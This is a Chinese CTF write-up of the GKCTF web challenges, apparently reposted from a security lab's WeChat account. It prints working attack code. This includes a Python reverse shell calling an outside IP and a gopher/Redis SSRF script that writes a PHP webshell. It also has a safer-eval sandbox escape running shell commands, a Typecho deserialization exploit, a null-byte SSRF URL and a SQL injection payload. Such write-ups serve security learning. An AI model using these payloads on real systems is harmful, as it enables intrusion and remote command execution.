- CheckIn
- 老八小超市
- CVE版签到
- EzNode
- EzWeb
- EzTypecho
- Node-exe
一上来直接给shell,不过这里有些师傅在群里说连不上蚁剑,估计是编码器没弄好
师傅们可以自己建一个:
连的时候选一下就好了
连上shell之后发现有disabled_function,以及/readflag
php版本为7.3
直接github上有现成的exp即可:
https://github.com/mm0r1/exploits/blob/master/php7-gc-bypass/exploit.php
上传到/tmp目录
在进行包含即可,?Ginkgo=include('/tmp/exp.php');
shopxo的模板
网上搜一下即可得知后台默认密码为shopxo
admin shopxo登上后台
可以参考一下这篇文章 http://www.nctry.com/1660.html
找到主题安装页面
将shell放入主题压缩包一起上传即可getshell
在根目录下看到flag和flag.hint以及auto.sh
告诉我们flag在/root下,并且flaghint中的时间每隔一分钟会变化,猜测是有类似crontab的东西,(其实一开始是没有这个auto.sh的,但是crontab在这上面死活不成功,只好加了个sh)
根据auto.sh找到相应的python文件
尝试直接执行会返回Permission denied
由此可推断该文件是root用户起的,并且这个文件可以自己编辑,那么就能直接改py文件提权了,要么直接将/root/flag写到根目录,或者加个python反弹shell
import socket,subprocess,os
s=socket.socket(socket.AF_INET,socket.SOCK_STREAM)
s.connect(("174.1.118.22",2333))
os.dup2(s.fileno(),0)
os.dup2(s.fileno(),1)
os.dup2(s.fileno(),2)
p=subprocess.call(["/bin/sh","-i"])
cve-2020-7066,ssrf
https://security-tracker.debian.org/tracker/CVE-2020-7066
可以得知存在�截断
?url=http://127.0.0.123%00www.ctfhub.com
考点:
- Nodejs内置函数特性
- Nodejs库漏洞搜寻
首先读源码
app.use((req, res, next) => {
if (req.path === '/eval') {
let delay = 60 * 1000;
console.log(delay);
if (Number.isInteger(parseInt(req.query.delay))) {
delay = Math.max(delay, parseInt(req.query.delay));
}
const t = setTimeout(() => next(), delay);
// 2020.1/WORKER3 老板说让我优化一下速度,我就直接这样写了,其他人写了啥关我p事
setTimeout(() => {
clearTimeout(t);
console.log('timeout');
try {
res.send('Timeout!');
} catch (e) {
}
}, 1000);
} else {
next();
}
});
app.post('/eval', function (req, res) {
let response = '';
if (req.body.e) {
try {
response = saferEval(req.body.e);
} catch (e) {
response = 'Wrong Wrong Wrong!!!!';
}
}
res.send(String(response));
})
Nodejs文档
setTimeout 当 delay 大于 2147483647 或小于 1 时,则 delay 将会被设置为 1。非整数的 delay 会被截断为整数。
所以直接传
?delay=2147483649
看到题目中特别给出了package.json
文件,查看使用依赖库以及版本,对其中比较核心的safer-eval
感到怀疑,尝试搜索(在github advisor或者npm advisor都可以找到)
然后找到了这个
利用很简单,原理就是对于内置函数没有过滤完全,导致可以获取vm外的上下文中的对象,其实这个洞在vm2
里也刚刚出现,但是利用条件比较复杂,在docker里复现概率不高,不适合出题。
vm2的issue
最后payload为
import requests
print(requests.post('http://localhost:8081/eval?delay=2147483649', data={
'e': """(function () {
const process = clearImmediate.constructor("return process;")();
return process.mainModule.require("child_process").execSync("cat /flag").toString()
})()"""
}).text)
考点:
- 内网探测
- ssrf+redis未授权
源码中注释了?secret
访问可以得到当前靶机的ip
看到有不少师傅去开buu上的内网机做的,这里实际上是一个 web服务器 和一个redis 服务器组成的一个内网,是独立于单容器的内网,并且自动组网,所以直接开内网机并不能访问到靶机。直接用ssrf会快得多(当时出题没考虑到这个特殊性,在这里给各位师傅们谢罪...逃)
通过内网探测可以发现.11上开着web服务
根据提示进一步发现.11开着6379端口
然后可以利用gopher://协议写shell,可以用如下脚本生成exp
import urllib
protocol="gopher://"
ip="173.51.38.11"
port="6379"
shell="nn<?php system("cat /flag");?>nn"
filename="shell.php"
path="/var/www/html"
passwd=""
cmd=["flushall",
"set 1 {}".format(shell.replace(" ","${IFS}")),
"config set dir {}".format(path),
"config set dbfilename {}".format(filename),
"save"
]
if passwd:
cmd.insert(0,"AUTH {}".format(passwd))
payload=protocol+ip+":"+port+"/_"
def redis_format(arr):
CRLF="rn"
redis_arr = arr.split(" ")
cmd=""
cmd+="*"+str(len(redis_arr))
for x in redis_arr:
cmd+=CRLF+"$"+str(len((x.replace("${IFS}"," "))))+CRLF+x.replace("${IFS}"," ")
cmd+=CRLF
return cmd
if __name__=="__main__":
for x in cmd:
payload += urllib.quote(redis_format(x))
print payload
打过去再次访问.11/shell.php即可
PHP_SESSION_UPLOAD_PROGRESS、typecho1.1反序列化
首先找到install.php的反序列化处,228行开始
这里设置了一个检测是否有$_SESSION,但是题目没有使用session_start(),要想先反序列化就得先绕过这个检测,根据php文档
得知在文件上传时POST一个与PHP_SESSION_UPLOAD_PROGRESS同名变量时会在session中添加数据,从而绕过session检测
然后就是typecho1.1反序列化了,师傅们可以去网上搜详细的解释
poc:
class Typecho_Feed{
//const RSS2 = 'RSS 2.0';
private $_type;
private $_items = array();
public function __construct()
{
//不加就会出现database error500
$this->_type = 'RSS 2.0';
$item['author'] = new Typecho_Request();
//$item['category'] = array(new Typecho_Request());
$this->_items[0] = $item;
}
}
class Typecho_Request
{
private $_params = array();
private $_filter = array();
function __construct()
{
$this->_params["screenName"]="cat /flag";
$this->_filter[0]="system";
}
}
$a = array("adapter" => new Typecho_Feed(),"prefix" => "test");
echo base64_encode(serialize($a));
exp:
import requests
url='http://26b4c383-d6a2-41b8-8ea8-5f289a4c3688.node3.buuoj.cn/install.php?finish=1'
files={'file':123}
headers={
#运行poc替换__typecho_config
'cookie':'PHPSESSID=test;__typecho_config=YToyOntzOjc6ImFkYXB0ZXIiO086MTI6IlR5cGVjaG9fRmVlZCI6Mjp7czoxOToiAFR5cGVjaG9fRmVlZABfdHlwZSI7czo3OiJSU1MgMi4wIjtzOjIwOiIAVHlwZWNob19GZWVkAF9pdGVtcyI7YToxOntpOjA7YToxOntzOjY6ImF1dGhvciI7TzoxNToiVHlwZWNob19SZXF1ZXN0IjoyOntzOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9wYXJhbXMiO2E6MTp7czoxMDoic2NyZWVuTmFtZSI7czo5OiJjYXQgL2ZsYWciO31zOjI0OiIAVHlwZWNob19SZXF1ZXN0AF9maWx0ZXIiO2E6MTp7aTowO3M6Njoic3lzdGVtIjt9fX19fXM6NjoicHJlZml4IjtzOjQ6InRlc3QiO30=',
'Referer':'http://26b4c383-d6a2-41b8-8ea8-5f289a4c3688.node3.buuoj.cn/install.php'
}
re=requests.post(url,files=files,headers=headers,data={"PHP_SESSION_UPLOAD_PROGRESS": "123456789"})
print(re.text)
此题为一道exe文件的web题,如果熟悉前端的话,不难得知这是一个electron程序,之后的思路便比较明确了。即使不知道,通过安装之后寻找源文件,或者对可执行文件binwalk,也可发现其中有7zip格式的文件,可以解压缩获得源文件,故此过程不再赘述。
安装后执行程序,填写靶机地址后,用户名密码为admin直接进入。
找到程序所在目录,确认程序为electron程序后,不难得知网页文件均打包于.resourcesapp.asar下。用node的asar工具解包:
asar extract ./app.asar ./ext/
便可得到webpack网站的源文件,查看package.json,发现页面是基于vue构建的,同时也发现了库crypto和js-md5。所以即使js源文件被webpack,也可以通过搜索methods关键词找到token生成函数的位置,同时推测token加密使用了md5和另一种加密方式。
此处的methods中包含了“encrypt”,“makeToken”等关键词,定位到此处应为token生成位置,单独提出对代码进行格式化,得到加密函数:
不难看出,加密使用了aes加密,转到调用函数寻找key和iv
makeToken: function (e) {
var i = this;
return c()(a.a.mark((function t() {
var o, r;
return a.a.wrap((function (t) {
for (;;) switch (t.prev = t.next) {
case 0:
return "31169fedc9a20ecf", "d96adeefaa0102a9", o = f()(n()(e)), t.next = 5, i.encrypt("31169fedc9a20ecf", "d96adeefaa0102a9", o);
case 5:
return r = t.sent, t.abrupt("return", r);
case 7:
case "end":
return t.stop()
}
}), t, i)
})))()
},
可以得知加密使用的key和iv,但传入加密函数的并非传入生成函数的参数e,而是经过f和n函数处理得到的结果o,所以依然需要寻找函数f和函数n。但此时已经可以根据获得的key和iv对token进行初步解密了。解密后是一串长度为32的字符,基本可以推断这是一些信息的md5加密结果。回到renderer.js,格式化整个文档后,module结构如下:
module.exports = function(e){...}([function(e){}...]);
这一格式为js的IIFE函数,这种函数在定义处便执行,其中的变量不可从外部访问。我们从他的定义函数中寻找未知的函数n
此函数实现的js引擎中的stringify基础功能的一部分,用于解析字符串。结合请求体,可推断处调用的函数为toString(),不过此处并不重要,我们先前已经得知使用了md5加密。
接下来分析请求函数:
buyFlag: function (e) {
var i = this;
return c()(a.a.mark((function t() {
var o;
return a.a.wrap((function (t) {
for (;;) switch (t.prev = t.next) {
case 0:
return o = {
id: e,
timestamp: Date.parse(new Date)
}, t.t0 = i.$http, t.t1 = i.url + "/buyflag", t.t2 = o, t.next = 6, i.makeToken(o);
case 6:
t.t3 = t.sent, t.t4 = {
token: t.t3
}, t.t5 = {
headers: t.t4
}, t.t6 = function (e) {
i.$Modal.info({
title: "购买结果",
content: e.data[0].flag
})
}, t.t0.post.call(t.t0, t.t1, t.t2, t.t5).then(t.t6);
case 11:
case "end":
return t.stop()
}
}), t, i)
})))()
对照得知,传入makeToken函数的是请求体。至此审计结束,得到了token是由MD5加密过的带timestamp的请求体后使用aes加密得到,之后便可自行发起请求。
根据返回的前两个flag的id分别为1和2,尝试获取id为3的flag时会提示无法购买,此时通过构建payload注入即可获得flag。
payload:
1"or(id=3)#
获取更多精彩
本文始发于微信公众号(Khan安全攻防实验室):GKCTF-官方WriteUp首发(WEB)
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论